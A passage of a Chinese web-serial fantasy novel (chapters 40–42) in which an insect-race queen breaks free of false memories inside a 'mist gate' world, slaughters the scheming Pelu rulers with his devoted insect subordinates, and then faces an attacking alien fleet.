心念微动，一只巨大的蝎子和蜘蛛冲破后殿，从天而降。 恍若幻觉的星空消失，可利诺看向阿拉沃和一众珀鲁士兵，却又觉得此时才是幻觉。 这一切都是真的吗？他是真的吗？他记忆中的经历是真的吗？故星的毁灭是真的吗？珀鲁和阿拉沃又是真的存在吗？ “呜呜呜！”蜘蛛撒娇似的叫声打断了利诺对一切产生的不真实感。 把周遭士兵杀完的两只阿拉沃一左一右，恨不得将庞大的身躯贴在漂亮妈妈的身体上。 利诺抬头，后殿已然成了废墟，其他六只阿拉沃从废墟飞出，在他的头顶盘旋。 第40章 除了他一直饲养三只阿拉沃，利诺没见过由另外两名饲养员负责的那六只阿拉沃。 此时在天空上飞的阿拉沃看起来和他饲养的这三只完全一样，光是外表，利诺就觉得他们不是一个物种。 如果说他负责的三只阿拉沃更像是他祖星的节肢动物，冰冷恐怖，而另外的六只则更像是毛绒的鸟类。 而且，这六只鸟类的阿拉沃只是绕着他飞，深深忌惮地面上虎视眈眈的蝎子和蜘蛛，而不敢下来歇脚。 蝎子把尾钩狠狠甩在装饰神殿的砖柱上，坚硬的材质瞬间四分五裂。 发出的巨大响声让终于鼓起勇气想要靠近利诺的阿拉沃只得栖息在离利诺很远的距离上，尖锐的鸟喙啄着身上的羽毛，时不时小心瞥向这边，活像一群被恶霸欺压的小可怜。 这个想法仅仅升起没几分钟，这几只外表似鸟的阿拉沃察觉到珀鲁士兵的靠近，鸟目充斥暴戾，鸟嘴大张，将不怀好意的珀鲁兵要么活吞，要么先用爪子踩住再吃下去。 目睹一切，利诺推开了蝎子蹭过来的口器，天知道蝎子有没有跟这些阿拉沃一样也吃过珀鲁。 被拒绝的蝎子不敢置信，于是不死心地凑，仍旧被推开。 毒蝎的心都要碎了。 蜘蛛桀桀嘲笑自作多情的蝎子，显摆一样用捕食的螯肢要触碰妈妈，结果他没有想到，他心爱的妈妈再次避开了。 利诺不仅火速避开，还略带挑剔地看了眼蜘蛛的嘴巴：“离我远点！” 最后，世界上又多了一只心碎的蜘蛛。 利诺完全没有关注阿拉沃的状态，他因为这六只鸟类阿拉沃的出现而再次陷入迷茫中。 他越来越觉得，现在的自己、阿拉沃乃至珀鲁族和珀鲁星都不是真的。 他一定是疯了，才会这么频繁地质疑一切！ 银灰色的眼珠蔓延上几缕血丝，利诺扒拉过一只蛛腿，黯然神伤的大蜘蛛怔愣稍许，瞬间担忧地俯身。 利诺的头很痛，声音连带着颤抖：“你说，这一切都是真的吗？” “呼噜呼噜？”蜘蛛不知道妈妈在说什么，但不妨碍他用螯肢小心触碰妈妈苍白的脸颊。 他的妈妈精神好像很不稳定……蜘蛛意识到这点，他不安的焦躁，然后本能地要抚慰。 虽然外表像蜘蛛，可怪物实质上不是蓝星上的蜘蛛，他有翅膀，那薄薄的昆虫翅膀从恐怖的虫身伸展，淡金色的液体顺着翅膀的纹路从翅根流淌到翅尖。 翅膀被蜘蛛当做猎物，奉献给他的母亲，含着甜蜜气息的食物从翅膀滴落，小小的一滴落到利诺的嘴巴里，平息了利诺动荡的情绪，也填饱了利诺泛着饥饿的胃。 怪物太大，翅膀也很大，然而他全然呈现臣服的趴服状，任由瘦弱的人类压在敏感的虫翅上，用手和唇舌去掠夺翅膀分泌的蜜液。 蜘蛛是利诺的子嗣，也是利诺的食物。 源源不断的珀鲁士兵如蝗虫般不断从载具下来，握着对阿拉沃没有多少效果的武器，半恐惧半被驱使地涌过来，像是泛着臭味的泔水从泔水桶中倾倒般。 蝎子只是慢了一步，就被蜘蛛抓住时机喂食母亲，他愤恨至极，却又不能打扰妈妈的享用时间，于是把怨气全部发泄给这些珀鲁士兵。 以飞蛾为首的三只阿拉沃是九只阿拉沃中绝对的王者，单是一只就很难被控制住，更别提还有另外六只稍弱但远比珀鲁强大的阿拉沃加入，他们几乎把整个神殿搞得天翻地覆。 深夜时分，神殿的声音也将四周的珀鲁居民吵醒，然而这种情况并没有超出法官长的预料。 助理在旁边汇报：“我已经联系宣传部的部长，将我们准备的新闻稿件全部发布，估计再等会儿，民众就得求着我们去对付阿拉沃了。” 法官长点头，又问：“饲养员逮到了吗？” “只控制住两名饲养员，那名叫利诺的饲养员身边有阿拉沃保护……”助理回。 “那就想办法让阿拉沃离开……”法官长淡淡道，“这话还要我明说吗？” 助理的头埋得更低，暗暗腹诽，说的轻松，但要想办法、冒风险的可是他！ 然而这话不能明说，助理喏喏点头。 随着蜜液的入口，繁杂的记忆也大量出现，将被安置的虚拟记忆代替，银灰色的瞳孔在圆形和竖形中轮流替换，在利诺眨眼又睁开时，竖瞳彻底固定。 利诺捏着蜘蛛的翅膀，慢条斯理地吃饱，虫瞳看向纷乱的状况，弯起明媚的弧度。 他喊了声蜘蛛的真正名字：“希莱耳。” “呼噜呼噜？”因被母亲享用而很满足的蜘蛛目光迷茫，很显然他还没有被彻底唤醒。 利诺摸了把高级虫族的头，没再说什么。 进入这扇门后，利诺和其他虫族的记忆被虚假代替，他们被这个迷雾世界同化，怕是再过上几天，他们会被彻底同化。 这是这扇门的危险之处，不动兵刃，也没有铺天盖地的怪物袭击，它仅是悄无声息地同化进入这扇门的生物。 在生物对自己的身份彻底认可时，他们就会变成门内世界的一部分，也会彻底死去，成为被虚假记忆驱动的一具躯壳，比如利诺对自己身为流亡者的饲养员身份，又比如高级虫族对阿拉沃这个身份的认同。 要不是利诺身为虫母的精神力强大，加上他没有雄虫的蜜液就会陷入饥饿的原因，他很有可能是第一个被同化的。 幸亏，利诺对周遭的质疑和蜘蛛的蜜液将他彻底唤醒。 趴在蜘蛛的身上，利诺在思考用什么方法将另外三只虫族唤醒。 星空展开，利诺的精神触角包裹住距离他最近的三个璀璨星点，温和却是主导地位的精神毫无障碍地通过星点进入三只虫族的意识海。 这是他第一次进入其他虫族的意识海，意识海是极具隐私的东西，就算是当初修复赫弥珞的意识海，利诺也没有深入探究。 除了利诺，其他虫族的意识海都是一个样子，或大或小的意识海内只存在一轮代表虫母的弯月。 但当弯月亮起时，他们的意识海却又发生了变化，利诺的精神力覆盖虫族的意识海时，清晰发觉出虫族的意识海多了东西。 三只高级虫族的意识海里，除了弯月，能够接触到的位置全部刻满了“利诺”和“妈妈”这两个词语。 数量太多了，于是挤在一起，你中有我，我中有你，根本分不清。 利诺后背发凉，但这不是他需要关注的重点，他现在需要做的是通过精神力的刺激，将这三只即将被迷雾世界同化的虫族彻底唤醒。 虫母的精神力果断覆盖，驱散造成虚假记忆的不知名力量，露出内里的真实。 几乎是瞬间，利诺趴着的蜘蛛变成一个英俊的卷发男人，他伸出手，将利诺公主抱在怀里。 翅膀湿哒哒地垂在后背，希莱耳张嘴：“妈妈……冕下……” 利诺公事公办：“还有不舒服的地方吗？” 蜘蛛希莱耳迟钝地眨眨眼，然后点头：“回冕下，有的。” 他难耐地皱眉：“冕下，很……难受。” 面对大白天耍流氓的下属，利诺不仅没生气，反而淡笑：“没关系，我帮你。” 说着，他把手放在后腰，使劲一扭，利诺是奔着把那玩意儿扭断的力气去的。 效果很显著。 希莱耳五官扭曲，他弓腰收背，要不是双手还抱着利诺，恐怕要狼狈捂**了。 但希莱耳也不是没有办法，畸形的尾钩护住了痛得要死的地方。 利诺依旧笑得无辜：“怎么样，我的办法有效吗？” 已经反应过来的希莱耳勉强：“谢谢冕下，我好多了。” 而且还是好到差点不能用的程度，要是没有虫母，希莱耳也不在意那玩意儿能不能用，他也没那欲望，但妈妈出现了……他要是废了，可就没有服侍妈妈的资格了！他也想如同元帅那样，让妈妈的肚子里揣满他的蛋…… 希莱耳被狠狠伤害的部位一痛，顿时，任何旖旎的心思都没了。 利诺从希莱耳的怀里跳下来，看了眼四周的混乱，笑意不消，反而更深：“杀光怪物的话，我们应该就可以出去了吧？” 这次的迷雾世界里，怪物并不强，难的是不被同化并找回记忆。 希莱耳痴迷地盯着利诺：“遵命，冕下！” 另一边，蝎子克凛恩和飞蛾希尔维乌斯也收到了虫母冕下的指令，停止同化、找回记忆的虫族从更多地凭借本能到依赖战斗经验，战力上升了不止一个层次。 与此同时，珀鲁还未意识到这一点，助理欣喜地告知法官长：“现在支持军方控制阿拉沃或杀死阿拉沃的公民达到了88％，仅有少数民众依旧坚持阿拉沃是神的子嗣，不容冒犯。” 法官长轻笑。 珀鲁早就不是之前那种全族虔诚信仰神明的种族了，他们进入了星际时代，科学与娱乐造成信仰的流失。 更可况，珀鲁本就是个傲慢自私的种族，一旦看到那些被剪辑出来的阿拉沃残忍杀戮的视频，读到某个专家质疑神明和阿拉沃身份的文章，被提醒阿拉沃不仅不会保护自己、自己的安危反而得不到保障的时候，他们会一窝蜂地支持杀死不稳定的因素。 信息时代，真真假假的信息会成为上层掌握舆论、洗脑无知民众的有力工具。 法官长轻蔑道：“一群被耍得团团转的贱民罢了，一些假消息就可以轻松改变他们的思想。” 珀鲁的傲慢，不仅体现在对待异族和缺陷同族上，也体现在高位者对低位者的态度上。 珀鲁士兵改变了武器，那是更加大型、更加针对阿拉沃的武器。 鸟类暴躁的嘶鸣在长空回荡，那种奇特的武器如同完美的网，将除高级虫族外的六只真正的阿拉沃束缚住，武器上的麻醉剂让阿拉沃陷入沉睡。 珀鲁把他们世代供奉的阿拉沃关进了黑暗的牢笼中。 他们可以对付阿拉沃，但却对付不了虫族，指挥官收到上层指令，指挥士兵撤退。 屡屡得到好消息的法官长忘却失子的痛苦，原本的激进冒失在其他同阶级的高层珀鲁警告下收敛，尽量维持冷静的状态。 思考再三，他只能停止这次的行动，暂时放过剩下的三只阿拉沃和他们的饲养员。 远处的天光大亮，照耀珀鲁的恒星照亮神殿的断壁残垣，温暖不了斑驳的血迹和交叉的尸体。 法官长决定放过利诺和三只虫族，可利诺没想放过这些珀鲁。 由于记忆虚构的影响，利诺不知道自己在这扇门内待了多久，然而想也知道外面的虫族肯定要急死了，他得抓紧时间出去。 【都杀光。】利诺略显冰冷的语气响彻在三只虫族的意识海中。 “沃姆神保佑，那是什么！”军队撤离的上空，有个确定阿拉沃被关起来的士兵惊声道。 另外一个珀鲁低声提醒：“你怎么还说沃姆神保佑？要是被指挥官听到会受罚的。” 士兵没有理他，而是看向天边，原本渐渐明亮的天空迅速出现大团浓密的黑雾，它们似乎是从星空来，席卷危险的气势，那只最先引起他注意的小蝴蝶反而变得毫不起眼。 没有珀鲁会不认识黑雾，毕竟几百个种族的星球都灭亡在黑雾下。 黑雾宛若贪婪的怪物，所到之处，星球和上面的生命都会被吞噬殆尽。 有珀鲁心惊：“不会是沃姆神对我们的惩罚……因为我们不敬他的子嗣，所以他不庇佑我们了……” “我就说，我们不能抓阿拉沃尊者们，沃姆神知道一定会生气的！” 越来越多的珀鲁惊慌后悔：“我们惹怒了沃姆神，我们要死了！” 撒播磷粉的利诺当然也注意到黑雾，他没把阿拉沃和黑雾联系在一起，反而认为是迷雾之门的最后期限快到了，再不破门，就会迷失在迷雾中。 漂亮精致、完全不属于这个星球的蝴蝶在军队的聚集处洒落磷粉。 腐蚀性更强的磷粉将所有沾染到的珀鲁逼出疼痛的哀嚎。 本就死伤惨重的军队因为不知来源的腐蚀性磷粉和天边的黑雾而彻底乱了起来。 不止军队，就连被舆论操纵的普通珀鲁公民也迅速调转方向，对法官长等主持控制阿拉贡计划的高层进行谴责。 黑雾来的太过巧合了，就在他们抓住阿拉沃之后，坐镇后方的法官长根本不相信：“怎么可能？我们在外太空的装置没有检测到黑雾吗？” 助理无比惊慌：“那黑雾出现的太异常了……而且刚才，军队的大半士兵被不明粉末严重腐蚀……” 前身是沃姆神信徒的助理喃喃：“法官长，不会神真的存在吧？你不是说，神是杜撰的吗？” 他求助地望向法官长，却看到法官长同样心虚慌乱的表情，心顿时凉了半截。 “哈哈哈看看吧，这就是你计划的下场！是神罚！这是你们不尊重沃姆神的下场！”被捆住的神殿管理员张扬触须，破罐子破摔，“还有你要抓的利诺饲养员，他可是神明的化身！” “管理员，您……您冷静……”跟管理员绑在一起的还有萨亚约，他结巴劝道。 “冷静个屁！”管理员啐了口，“没看到黑雾来了吗？我们都得死，本来是没事的，我们也会很安全……要不是这群煞笔吃饱了撑着冒犯神明化身和神明的子嗣，我们何止于此！” “闭嘴！”法官长怒吼，气急败坏地要杀死管理员。 “锵——”刀剑撞击。 利诺轻松挑飞法官长的武器，他的翅膀还没来及收回去，尾翼的两团玫瑰红晕漂亮显目。 管理员和萨亚约愣愣的看向利诺的翅膀，面红耳赤。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 扑通扑通—— 管理员和萨亚约脸颊上的触须变得粉红，怪异的棱形眼珠在房间内变得闪亮。 不怪他们如此失态，试问在手脚被绑住无法动弹、还有坏蛋要拿武器杀你时，一位漂亮美人从天而降，长得对极其符合珀鲁族审美的翅膀，轻松挑飞坏蛋的武器……所幸珀鲁星没有救命之恩以身相许的习俗。 背后黏附上火辣辣的视线，利诺的手一抖，差点没握稳从某珀鲁士兵那里抢来的刀。 利诺将刀尖抵在了法官长的脖子中间，那是珀鲁族最脆弱的地方，他砍珀鲁的头时就是从这个地方开始砍的。 法官长不敢动，阴狠地凝视利诺，嘴巴里喊着亲卫：“杀了他！不，不能伤害他，绑住他！” 半晌，法官长的亲卫并没有回应，脖子被刀尖刺破表层皮肤的疼痛一遍又一遍地提醒法官长，他的生命掌握在对面的低贱异族手中。 一开始，法官长并不慌，因为他的身边不只有助理和明面上的士兵，更有从小培养的亲卫于暗处隐藏。 可呼喊的亲卫迟迟不露面，几分恐惧便扰乱了法官长平静的表情。 利诺替法官长感到尴尬，他歪头：“你在喊他们嘛？” 几具不成形的珀鲁尸体被希尔维乌斯丢在法官长的面前，其中有保护法官长的亲卫，也有刚刚还在述职的助理，他们眼眶大睁，嘴角却是平直的寻常模样。 在死前的最后一秒，他们才意识到自己的死亡，只是身体已经做不出相应的表情反馈，只有眼睛来得及惊骇。 希尔维乌斯抚平略显褶皱的袖口，确认没有被溅上血液才走到利诺的身边。 沉默的高级虫族终于有时间感谢他的妈妈：“冕下，要不是您，我和希莱耳、克凛恩怕是要永远留在这里了。” 他的眼神是如利诺身后那两只珀鲁一致的火热，对利诺更加深刻的爱慕和痴迷毫不掩饰。 希尔维乌斯还记得他只是阿拉沃的时候，他的冕下纵容他用尾钩圈住细嫩的大腿，做出求欢的姿态。 冕下并没有拒绝……这是不是意味着，在元帅之后，他有了和冕下交/配的机会？ 一想到这个可能，喉结滚动，雄虫的眼神晦暗压抑。 利诺猜不透这些虫族丰富的心理活动，只是略微颔首，问：“周围的珀鲁都处理干净了？” “已经奉您的命令，只剩下部分被绑住的神殿员工。”希尔维乌斯垂头，凌厉的脸部线条显得柔顺，“希莱耳和克凛恩在解决剩下的珀鲁军队。” 利诺虽说都杀了，但还是有一些神殿员工是虔诚的信徒，并未和大部分珀鲁族狼狈为奸，而是在睡梦中被珀鲁士兵控制住，算是无辜。 对于这些珀鲁，利诺没有下绝对的处死命令，其他三只高级虫族不是傻子，他们一直有在琢磨虫母的心思，因此暂时放过了这些信徒。 虫族使用的语言是通用语，法官长听懂了，不用多想，他这次的计划失败了。 可他怎么也想不到，扰乱他计划的居然是个低贱的异族饲养员，是最末等的公民。 “该死的！”法官长低声骂了句，他拿正眼看向利诺，下巴扬起，“把刀拿走，我勉强宽恕你。” 珀鲁的语气是一如既往的傲慢和高高在上，好似是在给利诺机会。 对此，利诺没有半分犹豫，银光乍现，法官长的头砸到了地面。 他侧身躲过喷溅的血，那血直接一股脑砸在了愣神的管理员和萨亚约的身上。 半张脸都是腥臭血液的管理员愣了下，随即着急：“您怎么杀了他？” “他太烦了。”利诺拿着刀，将绑住管理员和萨亚约的绳子割开。 看了眼外面被黑雾包裹的天，利诺想了想，还是客套道：“能逃就逃吧。” 但肯定是逃不走的，这不是真实的世界，这里面的生物其实也早就死了。 管理员没着急逃走，而是解释：“他死了动乱也不会结束，法官长仅仅是这次行动的发起者，还有更多的高层站在他的背后当支持者！” 利诺甩了下刀上的血，他还是用斧头更合手：“那就都杀了！” 管理员不敢置信，但又很快想通，触须狂甩：“你小子！算了，我联络下神殿里还有多少信徒，咱们一起杀！” “你不走？”利诺问。 “走？往哪里走？周围的星球可就只剩下珀鲁星了……逃不出去的，老子死之前一定要拉着那帮高层死！” 管理员从旁边的桌子上拿出被搜走的联络器，对碎碎念：“天杀的贱种们放着好好的日子不过，非要颠覆沃姆神的信仰，这下好了，都得死！” 利诺又将目光投向萨亚约，萨亚约粉红的触须立马羞涩蜷缩：“我、我可以为您、您尽一份力！” 利诺再次重申：“我不是沃姆神。” “我、我知道……”萨亚约结巴道，“但是您很美、美丽！” 希尔维乌斯不动声色地站在了利诺和萨亚约的中间，阻断外族企图挖虫族墙角的打算。 他用的借口很正常：“冕下，您的手脏了。” 闻言，利诺低头，握着刀的手上确实脏了，即使之前躲避得及时，手背上多了几滴血珠。 希尔维乌斯垂眸，从怀里掏出干净的清洗剂，小心捧起小虫母的手擦拭。 虫族对虫母特有的黏腻视线放在小虫母葱白的指尖上，然后隐蔽地吞咽口水。 所有的虫族对虫母都会有天生的欲望，哪怕是一根手指，又或是轻轻的笑，足以惹起冷漠虫子的炙热欲望。 “希尔维乌斯！”利诺的嗓音如清澈的溪流，指尖触及虫族在拟态成人形时凸起的喉结上。 “冕下有何吩咐？”希尔维乌斯话仍旧不多，却多了些粗重的音节。 为了让利诺更加方便，他俯身仰头，将脖颈彻底暴露在利诺的面前。 细腻的、没有茧子的指腹没用多少力道，摩挲过希尔维乌斯的喉结：“控制好你的翅膀。” “抱歉，我会尽量……”希尔维乌斯他翅膀上的蜜液在不受控制地分泌。 利诺警告地捏了捏希尔维乌斯的喉结：“我很讲信用，说了会给你就不会食言……但现在不是时候，等出了门再说。” 他的意思是让希尔维乌斯别太急，亲吻和抚摸都会有，只是这种警告对希尔维乌斯来说更像是挑逗。 “……冕下，我很期待。”希尔维乌斯哑着嗓子，竭力不让蜜腺本能分泌出能够喂食虫母的食物。 利诺：“……”他的胜负欲上来了，他一定要亲死希尔维乌斯，亲得他求饶亲到他再也不想亲！ 管理员打断了两虫之间暧昧的氛围，他扬起笑走过来：“嘿！还有好几百信徒刚被尊者们救下来，正在往这里跑呢！您再等一下，我们跟您和尊者一起去找他们算账！” 他说着，按动一个按钮，库房内的一扇墙移开，满满的武器露出来。 利诺一眼就看中了把斧头，手里的刀顿时不香了，他果断抛弃刀，将那斧头从武器墙上拽下来，放在手里掂量。 斧头的体型较大，不过利诺一直用的就是这种重型斧头当武器。 管理员骄傲道：“我们神殿的储存可不是说着玩玩的，什么武器都有！” 没过多久，赶回来的神殿信徒都选择了自己的武器，包括管理员和萨亚约。 “这次是为沃姆神而战！”管理员气势汹汹，一句话就调动了这些狂信徒的情绪。 利诺靠在希尔维乌斯的身上，希莱耳和克凛恩解决完法官长带来的军队，浑身都是浓郁的血腥，没有条件和时间清理，只得站远点不刺激利诺的嗅觉。 “你、你们是阿、阿拉沃？”萨亚约出声好奇。 长相偏阴沉的克凛恩理都不理萨亚约，只是痴痴望着小虫母。 倒是卷发的希莱耳不耐道：“不是，我们只是冕下的虫！” “哦哦……”过了一会儿，萨亚约又问，“成为冕下的虫，有什么要求？” 这下，希莱耳和克凛恩深沉的视线如一把刀刺进萨亚约的脖子中。 萨亚约缩了缩凉丝丝的脑袋。 希莱耳勾出凶残的笑：“在你成为冕下的虫之前，我会先杀了你！” 克凛恩冷冷瞥了眼萨亚约，本来就烦妈妈被希尔维乌斯抢走了，现在还要应付同样觊觎妈妈的异族……真烦！ “不如杀了！”克凛恩干脆道，丑陋的尾钩蠢蠢欲动。 希莱耳提醒：“冕下会生气的。” 克凛恩冷哼一声，尾钩一甩，刺穿某个珀鲁信徒的脖子。 其他信徒惊呼，而这只死亡的信徒死不瞑目，手心滑落联络器，界面是对某执法官打到一半的报信信息。 “叛徒！”珀鲁们见状恨不得再让这只珀鲁死上几遍，朝尸体上吐着口水。 利诺只是扫了眼，不用这只珀鲁暗搓搓地递消息，剩下的珀鲁军队也已经来了。 法官长带来了绝大部分的兵力，这次的军队规模稍小，但不容忽视，按照管理员说的话，就是这些都是精英士兵。 在这个迷雾之门内迟迟感受不到外面虫族的精神状况，也无法通过意识海联络外面的虫族，利诺难免着急。 这些珀鲁来了正好，省得他再费时费力去找，在意识海对仅有的三只高级虫族发布命令，利诺迫不及待地冲出去，化作娇小而致命的蝴蝶。 虫族专门对其中起指挥和主导作用的珀鲁下手，毕竟打完首领，剩下的士兵只会乱了方寸。 利诺不是甘愿处在后方被保护的首领，很多时候他都喜欢带头冲锋，这是从上辈子就形成的习惯。 虫族深知这点，即使有充足的把握可以保证冕下安全，他们对冕下的担忧永远不会消失。 整个珀鲁星都乱了起来去，不止是黑雾在一步步吞噬星球，也因为在末日来临前，珀鲁族仍旧在内斗。 全都疯了。 大部分愤怒的底层民众选择了神殿一方，对傲慢的高层挥舞武器。 气得一些高层大骂：“贱民！都是一群贱民！我们想要控制阿拉沃不就是为了你们！不就是为了珀鲁星的安全！” 在死亡面前，这些借口对民众不再起作用，只会惹出更大的怒火。 他们不是为了珀鲁星和平民，只是为了他们的利益和权势，享有特殊地位的神殿挡了太多珀鲁高层的向上的路。 终于，黑雾将珀鲁星蚕食到只剩下神殿和神殿所在的城市时，真正的阿拉沃苏醒了。 庞大的鸟不再如同往日那样暴躁，而是知晓了最后的使命，哀鸣着飞上高空，遁入黑雾。 黑雾被莫名的力量笼罩，再也不能前进一步。 脖颈被捅入矛的管理员没了气息，而是悲哀且欣慰地看着消失的阿拉沃，眼睛里的最后一点亮光彻底褪去。 时空陷入静止，利诺抽出斧头，斧头消失，周遭的一切也变得透明，直至消失。 利诺后退两步，靠在陌生气息的怀抱里，一双宽厚的手从后腰将利诺搂抱在怀里。 一道调侃的声音说道：“恭喜你，通过第一扇迷雾神门，距离驱散黑雾的目标又进了一步。” 利诺扭头，看到的是萨亚约的脸，普通的珀鲁长相此时带着全然的神性。 萨亚约笑眯眯地摸了把利诺的脸颊：“你看起来很惊讶。” 利诺诚恳点头：“所以你要解释一下吗？” “真可爱啊！”萨亚约叹息，“要是我还活着，我一定会追求你，和你孕育无数子嗣！” 利诺木着脸：“你能不能不要说这种过分的话？” “好吧好吧，”萨亚约的身体也在变淡，耸了耸肩，“就是你经历的那样，珀鲁族杀死了我的所有信徒，妄图掌握我的子嗣，但引来了黑雾；有你的参与，我的信徒和子嗣有机会经历一个不同的结果，所以我决定你通过了迷雾之门！” 利诺想问很多，比如迷雾的来历，比如萨亚约的身份，然而萨亚约摇头：“漂亮的小蝴蝶，看在我让你和你的子嗣通过了迷雾之门，赏我一个吻如何？” 想都不要想！利诺的抗拒太明显，萨亚约只是叹气：“那就只能我自己来了。” 利诺无法动弹。 隐约中，萨亚约又叹了口气，方向微微错开，只在利诺粉嫩嫩的脸蛋上亲了口。 “冕下！冕下！”利诺晕乎乎地从门内出来，希尔维乌斯抱住状态恍惚的利诺。 在催命似的呼唤中，利诺搂住虫族，大声诉苦：“希尔维乌斯，我被流氓非礼了！” 他指着自己的脸蛋：“希尔维乌斯，快给我擦干净！” 第42章 被小蝴蝶抱着撒娇，感受周遭虫族羡慕嫉妒的视线，希尔维乌斯头次有这种体验，颇有些手忙脚乱。 好在希尔维乌斯早就不是刚从军校出来的青涩虫，身上没有清洁的纸巾，就从干净的内衬撕下稍微柔软的布料，在利诺的脸颊上擦拭。 希尔维乌斯边擦边不忘问：“冕下，是谁敢碰您？我去杀了他！” 虫族士兵们的耳朵悄摸竖起来，竖瞳缩成凶厉的一条缝，大有利诺说出名字，他们会将这片星际从里到外搜刮个彻底，直到找到胆敢冒犯虫母冕下的家伙。 利诺吸吸鼻子，脸颊被擦的红红的：“估计是死了。” 可恶的萨亚约自称珀鲁星信奉的神明，但无论是不是真的，估计都是迷雾之门的一缕残魂，被黑雾吞噬掉的亡灵。 希尔维乌斯丢掉布料，而是怜惜地用手轻轻摸了摸小虫母红润的脸，他想不到安慰虫母的方式，心里憋着一团火。 利诺待在希尔维乌斯充满安全感的怀抱里，把头搭在虫族的肩膀上，丧气道：“可恶，找不回场子了！” 他就算再厉害，也不能找到已经随着迷雾一起消失的萨亚约，狠狠甩他一巴掌！ “冕下，不要伤心！”一同从门内安然无恙出来的希莱耳和克凛恩凑近，低声安慰。 “若是有机会，我们一定会为您报仇！”将那东西砍成碎片！ 希尔维乌斯抱着利诺的力度大了些，他的语气冷冽：“有东西靠近了！” 三号未知星系的这片迷雾随着门的关闭而消失，出现在虫族面前的不是紧接着的另一道迷雾之门，而是没有迷雾的一小片星空。 就如当初迷雾没有彻底侵蚀蓝星，迷雾离彻底占据这边星系还差上一块。 利诺攻陷的这扇迷雾之门就是隔绝拉圣腓星系和三号未知星系的墙，随着墙的崩塌，拉圣腓星系和三号位置星系的最后一片净土彻底联通。 “这里莫非有另外一个种族？”利诺的声音带着点兴奋和好奇。 希尔维乌斯却是抱着利诺往后跳，紧接着一道激光射击到了他们原先待着的位置上。 一艘与虫族军舰外形完全不一样的飞船解除隐形，随即是无数艘异族飞船，隔着原先迷雾覆盖的区域，亮出飞船装备的武器。 利诺倒是不慌，他对飞船上的武器有几分熟悉，虽然不太一样，但大致是虫族在几百年前就淘汰的型号。 他很兴奋，异族看起来并不友善，但却意味着无垠的星际并非只有他们虫族，但凡出现了另外一个种族，就意味着还会有更多的种族存在，只是这些种族之间正在被迷雾隔绝。 这是一个好消息，利诺想，就算其他的种族都像这个未知种族一样不友善，多种族意味着竞争和合作，也意味着虫族会因为更多的外部压力而继续往前走。 星际内如果只有一个种族，总会随着时间的消逝而出现越来越多的弊端，越来越无法创新，越来越腐朽。 “冕下，我先带您回军舰。”希尔维乌斯阴沉下脸色。 与利诺的欣喜不同，虫族此时非常愤怒，愤怒到只待冕下的一条命令，就会冲上去撕碎那些突然发动攻击的异族。 就差一点，他们的虫母冕下就会受伤，冕下对虫族是多么珍贵的存在？就算是平时掉下一根头发，虫族都会自责没有照顾好妈妈。 希莱耳和克凛恩带来的军队并非五军和六军全部的士兵，甚至军舰的数量也远远比不上对方的异族。 但对于任何企图伤害虫母的东西，虫族都不会轻易放过。 很显然，对方似乎认准了希尔维乌斯和利诺在军队中的地位很重要，数架异族飞船武器瞄准利诺，蓄能，预备发射。 这类型的武器是虫族早就淘汰的老古董，而且这类武器的威力对于在迷雾中不断进化的虫族而言，连保护虫躯的外壳都破不开。 一只巨大的中级戟虫挡在前面，将所有的攻击吸收，油亮的外壳因为吸收的能量而越发黑亮。 利诺震惊道：“对方是疯了吗？”不满足一次试探性的攻击，不尝试做些沟通，反而还接连不断的开始攻击。 直接看他们这些完全没做任何保护措施就可以在星空行走的虫族，之前还能将迷雾驱散，也肯定会意识到他们不是那种任由欺负的种族吧…… 莫非对方的智力不高？利诺只能想到这个可能，他链接虫族，轻松下了一个命令。 只会无条件服从虫母的虫族早已蠢蠢欲动，眼见那异族接二连三地妄图用老掉牙的武器攻击冕下，满脑子都是撕碎。 可以在真空环境无障碍移动的虫族连军舰都不需要使用，在两位军长的统领下杀气腾腾地冲向那些飞船。 这时希尔维乌斯也带着利诺回到了主军舰上，军舰开启保护罩，希尔维乌斯转身去拿湿巾给利诺擦脸擦手。 他那点内衬布料足够柔软，但仍旧会擦红利诺的脸肉。 军舰内有对前方状况的全息投影，但利诺觉得不如现场围观来得体验感好，所以他坐在指挥舱室内。 利诺一向知道他的族群很凶残，在还没有成为虫母时，相较于他只喜欢削掉敌人的头、给对方留下相对体面的死亡方式，他的同学们更喜欢让对方死无全尸。 异族飞船乱了阵脚，纷纷对着光速飞来的虫群进行射击，然而不仅没有用，还在慌乱中击毁自己族的飞船。 利诺感叹：“好像真的不太聪明？” 在他观看时，希尔维乌斯已经认真地用柔软的纸将湿巾留下的湿意吸收。 听着利诺的话，希尔维乌斯没看外面的场景，也应道：“聪明的话，不会选择攻击。” 希尔维乌斯握住了利诺的一只手，专注战场的利诺没有收回，温热细腻的皮肤温度让冷漠虫族的嘴角有轻微的上扬。 可以牵着冕下的手，真是太幸福了，希尔维乌斯抿嘴，要是可以代替湿巾、用舌去舔舐冕下会更幸福。 只是那样就太逾矩了，利诺冕下说不定会讨厌他，希尔维乌斯克制着自己的欲望。 虫群的尾钩可以轻易地将飞船的船体撕裂成两半，露出里面舱体，那是类似人类但更加苍白、且无任何毛发的种族。 舱体一旦被破坏，孱弱的种族会立刻窒息，身体鼓胀，苍白的皮肤上出现大片冻伤，不到十秒彻底死亡。 异族的杀伤力太小，小到几乎没有，虫族解决他们跟解决门内怪物相比更加轻松。 不多时，希莱耳带着一个疑似逃生舱的装置回到军舰上，“啪”地一下砸到地面，逃生舱破开一个大洞，一个类人型种族从里面滚了出来。 军舰的环境比起外太空要好得多，但仍旧不满足这只种族的需求，异族捂住详细的脖子艰难地呼吸。 克凛恩扫描了这个种族的身体状态，迅速调整军舰的环境，虫族可以在任何恶劣的环境下生存，内里空气、引力等等的组成完全妨碍不了虫族的生存。 “呼呼呼……呼呼呼……”异族得救般大口呼吸，不再时刻处于窒息的环境中，他才有心思看向军舰内的虫族。 “啊啊啊！魔鬼！怪物！”异族恐惧尖叫，疯了似的往没有虫族的方向爬，但随即，就有士兵上前挡住异族的逃窜。 异族的尖叫很大，眼看利诺不耐地皱眉，自觉的虫族根本不需要利诺的吩咐，就将一团抹布塞到了异族的嘴中。 异族不再尖叫，也吐不出来嘴里满满当当的抹布，没有毛发的头犹如卤蛋，瞪着大眼睛惊恐地左右躲闪，十足滑稽。 利诺摸了摸自己的白粉毛，幸亏他头发很密，忍着笑：“喂，你是什么种族？为什么不明缘由地攻击我们？” “唔唔唔！”异族含着抹布，白眼一翻，竟是晕了。 利诺无语：“就这点胆还打我们？” 小虫母叉手搂腰，哼了声表示格外看不起这异族。 